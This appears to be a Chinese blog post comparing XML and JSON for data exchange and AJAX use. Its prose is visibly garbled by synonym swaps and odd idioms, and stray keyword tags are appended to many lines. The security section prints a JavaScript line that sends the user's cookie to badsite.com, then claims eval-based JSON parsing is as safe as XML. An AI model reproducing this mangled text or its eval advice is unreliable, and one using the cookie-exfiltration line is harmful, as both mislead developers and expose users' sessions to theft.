曾几什么时候,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有不少人开 始抛弃XML,在他们的心目中,JSON已经彻底取代了XML的位置。JSON有不少优点,但也存在缺点,而XML虽然确实存在很多问题,但孰优孰劣,并 不是能够依据我的喜爱就轻易得出结论的。 javascript
JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用彻底独立于语言的文本格式,可是也使用了相似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是由于这样,twitter已经声称他们的流媒体API将再也不支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因 为他们计划下一代接口只支持JSON。 java
老k博客将从下面几个方面来客观比较一下二者 程序员
可读性 web
二者都具有很好的可读性,但从实际应用出发,我的仍是以为XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系仍是 相对比较困难的;并且如今不少的IDE工具均可以把XML格式化成易读的结构形式,看起来至关舒服,而json则否则。在这一方面我投XML一票。 apache
是否易于在服务端建立数据 编程
XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行建立XML,以java语言为例,你既能够用JAXB,又能够用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另外一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站仍是列出了不少使人印象深入的各类语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并非可望不可即,但仍是略微逊色一筹,尤为是在复杂的应用方面,XML方面的API已经存在多年,相对来讲成熟稳定得多了。 json
是否易于在客户端处理数据 数组
在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件垂手可得的事情,只须要使用javascript的eval函 数就能够实现把json格式的数据转换成javascript对象,而后经过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在 这一方面就不是那么的友善了,曾令无数的程序员头痛不已,由于处理XML响应数据,你得经过DOM树,这是很是繁琐且容易出错的工做。这一点,我坚决果断 地选择json。 浏览器
扩展性 安全
可扩展性有助于减小生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。
毫无疑问,XML是可扩展的,但它的扩展是有局限的,由于若是你要适应扩展的话,那么你的客户端代码不得不做出相应的改动,如如下的客户端解析代码
1 | var xml = xhr.responseXML; |
2 | var elements = xml.getElementsByTagName("firstName"); |
3 | var firstNameEl = elements[0]; |
4 | var lastNameEl = firstNameEl.nextSibling; |
若是你在响应xml中<firstName>结点后增长了<middlename>这一结点的话,那以上的代码就要做相应 的改变,不然会出错,也就是说,XML的扩展得伴随着解析代码的变动,这可没有什么魔法可言。而json则简单得多,即便你要增长middleName这 一属性,在js客户端依然是经过对象访问属性值便可,而不会引发js上的语法出错之类的错误,致使程序没法执行。
调试和故障排除
这方面须要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。
使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。
在客户端,要从二者中找到错误都是比较困难的。对于XML,浏览器是彻底没法将xml格式化成responseXML;若是对于数据量较少的json数据,还能够经过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,不然也只能坐以待毙了。
安全性
有人认为,使用json是不安全的,缘由是json里能够包含js代码,而客户端中使用eval可使这些代码执行,而这些代码可能会存在安全隐患。如如下的代码:
1 | window.location ="<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie; |
2 | person : { |
3 | "firstName":"Subbu", |
4 | "lastName":"Allamaraju" |
5 | } |
上面的代码会致使浏览器把用户的cookie数据提交到一个流氓网站。但出现这种状况的可能只会是开发者故意为之,别人是没法这样作的,但若是是开 发者有意为之的话,那他同样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,因此相对于XML,json是一样的安全 的。
数据交换格式比较之关于轻量级和重量级:
轻量级和重量级是相对来讲的,那么XML相对于JSON的重量级体如今哪呢?我想应该体如今解析上,XML目前设计了两种解析方式:DOM和SAX;
DOM是把一个数据交换格式XML当作一个DOM对象,须要把XML文件整个读入内存,这一点上JSON和XML的原理是同样的,可是XML要考虑 父节点和子节点,这一点上JSON的解析难度要小不少,由于JSON构建于两种结构:key/value,键值对的集合;值的有序集合,可理解为数组;
SAX不须要整个读入文档就能够对解析出的内容进行处理,是一种逐步解析的方法。程序也能够随时终止解析。这样,一个大的文档就能够逐步的、一点一点的展示出来,因此SAX适合于大规模的解析。这一点,JSON目前是作不到得。
因此,JSON和XML的轻/重量级的区别在于:JSON只提供总体解析方案,而这种方法只在解析较少的数据时才能起到良好的效果;而XML提供了对大规模数据的逐步解析方案,这种方案很适合于对大量数据的处理。
数据交换格式比较之关于数据格式编码及解析的难度:
在编码上,虽然XML和JSON都有各自的编码工具,可是JSON的编码要比XML简单,即便不借助工具,也能够写出JSON代码,但要写出好的 XML代码就有点困难;与XML同样,JSON也是基于文本的,且它们都使用Unicode编码,且其与数据交换格式XML同样具备可读性。
主观上来看,JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述,只是描述较简短。从整体来看,XML比较适合于标记文档,而JSON却更适于进行数据交换处理。
在解析上,在普通的web应用领域,开发者常常为XML的解析伤脑筋,不管是服务器端生成或处理XML,仍是客户端用 JavaScript 解析XML,都经常致使复杂的代码,极低的开发效率。